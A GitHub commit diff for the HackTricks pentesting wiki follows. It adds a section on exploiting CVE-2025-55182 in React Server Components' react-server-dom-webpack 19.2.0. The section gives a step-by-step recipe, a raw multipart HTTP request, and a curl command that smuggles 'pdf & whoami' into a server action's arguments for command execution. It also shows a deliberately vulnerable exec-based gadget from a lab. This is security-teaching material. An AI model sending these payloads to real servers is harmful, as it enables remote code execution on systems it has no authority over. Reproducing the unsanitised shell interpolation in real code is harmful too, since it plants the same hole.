Skip to content

Commit 39edc55

Browse files
authored
Merge pull request #1632 from HackTricks-wiki/update_RSC_Report_Lab___CVE-2025-55182__React_19_2_0__20251204_063130
RSC Report Lab – CVE-2025-55182 (React 19.2.0)
2 parents a135b89 + 6b35a1c commit 39edc55

File tree

1 file changed

+57
-0
lines changed

1 file changed

+57
-0
lines changed

src/pentesting-web/deserialization/README.md

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -397,6 +397,62 @@ In the following pages you can find information about how to abuse this library
397397
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
398398
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
399399
400+
### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
401+
402+
React Server Components (RSC) rely on `react-server-dom-webpack` (RSDW) to decode server action submissions that are sent as `multipart/form-data`. Each action submission contains:
403+
404+
- `$ACTION_REF_<n>` parts that reference the action being invoked.
405+
- `$ACTION_<n>:<m>` parts whose body is JSON such as `{"id":"module-path#export","bound":[arg0,arg1,...]}`.
406+
407+
In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
408+
409+
1. **Learn the action identifier.** Bundle output, error traces or leaked manifests typically reveal strings like `app/server-actions#generateReport`.
410+
2. **Recreate the multipart payload.** Craft a `$ACTION_REF_0` part and a `$ACTION_0:0` JSON body carrying the identifier and arbitrary arguments.
411+
3. **Let `decodeAction` dispatch it.** The helper resolves the module from `serverManifest`, imports the export, and returns a callable that the server immediately executes.
412+
413+
Example payload hitting `/formaction`:
414+
415+
```http
416+
POST /formaction HTTP/1.1
417+
Host: target
418+
Content-Type: multipart/form-data; boundary=----BOUNDARY
419+
420+
------BOUNDARY
421+
Content-Disposition: form-data; name="$ACTION_REF_0"
422+
423+
------BOUNDARY
424+
Content-Disposition: form-data; name="$ACTION_0:0"
425+
426+
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
427+
------BOUNDARY--
428+
```
429+
430+
Or with curl:
431+
432+
```bash
433+
curl -sk -X POST http://target/formaction \
434+
-F '$ACTION_REF_0=' \
435+
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
436+
```
437+
438+
The `bound` array directly populates the server-action parameters. In the vulnerable lab the gadget looks like:
439+
440+
```javascript
441+
const { exec } = require("child_process");
442+
const util = require("util");
443+
const pexec = util.promisify(exec);
444+
445+
async function generateReport(project, format) {
446+
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
447+
const { stdout } = await pexec(cmd);
448+
return stdout;
449+
}
450+
```
451+
452+
Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data.
453+
454+
An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
455+
400456
## Java - HTTP
401457
402458
In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
@@ -1193,5 +1249,6 @@ Industrialized gadget discovery:
11931249
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
11941250
- [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/)
11951251
- [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
1252+
- [RSC Report Lab – CVE-2025-55182 (React 19.2.0)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
11961253
11971254
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)